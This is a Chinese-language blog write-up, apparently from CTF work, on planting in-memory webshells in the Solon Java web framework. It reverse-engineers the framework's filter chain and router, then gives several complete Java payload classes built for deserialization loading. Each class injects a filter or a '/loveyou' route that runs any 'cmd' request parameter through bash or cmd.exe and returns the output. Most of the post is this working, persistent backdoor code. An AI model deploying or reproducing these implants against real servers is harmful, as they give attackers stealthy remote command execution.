具体参考
https://l1nyz-tel.cc/2024/9/19/Solon-MemShell/
https://forum.butian.net/share/3717
这里用的是ciscn bookmanager的环境,Solon版本为2.6.1,Solon版本差异很大,在其他版本中不一定适用,需要稍作修改,但原理是差不多的。
前置
SolonApp 是框架的核心对象,也是应用生命周期的主体。一般通过 Solon.start(…) 产生,通过 Solon.app() 获取. //在低版本可能是通过Solon.global()
可以通过此处获取对应参数并注册相关服务
Filter内存马
访问路由时追溯调用栈,可以发现对Filter的处理来自于ChainManager
可以发现相关添加Filter和调用Filter逻辑
在上一步tryHandler中查找ChainManager是怎么获取调用的
来自于this.chainManager()
Filter来自于SolonApp下的_chainManager参数,也就是说我们通过反射获取到_chainManager后即可通过addFilter逻辑来新增filter
尝试使用Java-object-Searcher http://github.com/c0ny1/java-object-searcher
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_name("_chainManager").setField_type("ChainManager").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/tmp/");
searcher.searchObject();
得到结果
TargetObject = {java.lang.Thread}
---> inheritableThreadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [4] = {java.lang.ThreadLocal$ThreadLocalMap$va}
---> value = {org.noear.solon.boot.jlhttp.JlHttpContext}
---> _request = {org.noear.solon.boot.jlhttp.HTTPServer$Request}
---> context = {org.noear.solon.boot.jlhttp.HTTPServer$VirtualHost$ContextInfo}
---> handlers = {java.util.Map<java.lang.String, org.noear.solon.boot.jlhttp.HTTPServer$ContextHandler>}
---> [*] = {org.noear.solon.boot.jlhttp.JlHttpContextHandler}
---> handler = {org.noear.solon.boot.jlhttp.XPluginImp$$Lambda$77/0x0000000800108828}
---> arg$1 = {org.noear.solon.SolonApp}
---> _chainManager = {org.noear.solon.core.ChainManager}
实际上JlHttpContext可以通过Context.current()获取,剩下的去反射,所以内存马编写如下
@Mapping("/inject")
public String inject()throws Exception {
Object obj = Context.current();
Field field = obj.getClass().getDeclaredField("_request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handlers");
field.setAccessible(true);
Map obj1 = (Map) field.get(obj);
obj = obj1.get("*");
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainmanager = (ChainManager)obj;
chainmanager.addFilter(new FilterMemshell(),0);
return "1";
}
访问一次路由注入,后续即可随意访问路由传递参数执行命令
后续看了tel师傅分析的Handler内存马,我发现对于Filter内存马,也存在着简易的写法
Solon.app().chainManager().addFilter(new FilterMemshell(),0);
最终的内存马(可用于templates加载
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
public class FilterShell extends AbstractTranslet implements Filter {
static {
try {
Solon.app().chainManager().addFilter(new FilterShell(),0);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
System.out.println("异常:"+e.getMessage()) ;
}
chain.doFilter(ctx);
}
}
使用templates加载
彩蛋
其实ChainManager中还存在Interceptor处理逻辑,可以去编写Interceptor内存马等
Handler内存马
在Solon.app的结果中,我们可以看见_router对应的方法
重点在于RouterDefault的add方法处
一开始的设想是通过反射获取context中的_router对象,通过add方法注册路由,实际上文章1也是如此。后续发现可以通过自带函数去获取对象并进行注册,只需要去实现一个Handler即可
这里就不再细致调试,实际上关于普通handler的创建是通过Action的
Action的构造需要一个BeanWrap和Method,method是Handler调用的方法,BeanWrap是对方法所在类的封装
BeanWrap需要一个当前环境下的context,我们可以通过Solon.contenxt()获取
注册逻辑
BeanWrap beanWrap = new BeanWrap(Solon.context(), HandlerShell.class);
Method shell = HandlerShell.class.getDeclaredMethod("Shell");
Action action = new Action(beanWrap, shell);
Solon.app().router().add("/loveyou", action);
最终内存马为
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.Action;
import org.noear.solon.core.handle.Context;
import java.lang.reflect.Method;
public class HandlerShell extends AbstractTranslet{
static {
try{
BeanWrap beanWrap = new BeanWrap(Solon.context(), HandlerShell.class);
Method shell = HandlerShell.class.getDeclaredMethod("Shell");
Action action = new Action(beanWrap, shell);
Solon.app().router().add("/loveyou", action);
}catch(Exception ex){
System.out.println("error");
}
}
public void Shell(){
Context ctx = Context.current();
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds =
System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new
ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
ctx.output(e.getMessage());
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
对类进行加载
执行成功
在tel师傅的分析中,使用了HandlerLoader.load方法去新增Handler,由于版本原因,对payload进行相应修改
2.6.1版本 //Solon.app代替了Solon.global(),BeanWrap的构造函数需要context
BeanWrap beanWrap = new BeanWrap(Solon.context(),InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.app());
进入调试中
loadActions中取出了我们的路由对应的index方法,进入loadActionItem
loadActionItem获取了注解相关信息
经过一系列检查处理,创建Action(也就是Handler,回顾上面的)
最终调用slots.add方法新增路由
这里调用的是SolonApp父类RouterWrapper的add方法
tel师傅写的原版payload,低版本可用
BeanWrap beanWrap = new BeanWrap(InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.global());
最终内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.HandlerLoader;
public class HandlerShell2 extends AbstractTranslet {
static {
BeanWrap beanWrap = new BeanWrap(Solon.context(),HandlerShell2.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.app());
//低版本
// BeanWrap beanWrap = new BeanWrap(HandlerShell2.class);
// HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
// handlerLoader.load(Solon.global());
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Mapping("/loveyou")
public void index(String cmd) throws Exception {
Context ctx = Context.current();
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds =
System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new
ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
ctx.output(e.getMessage());
}
}
}
v1.4.18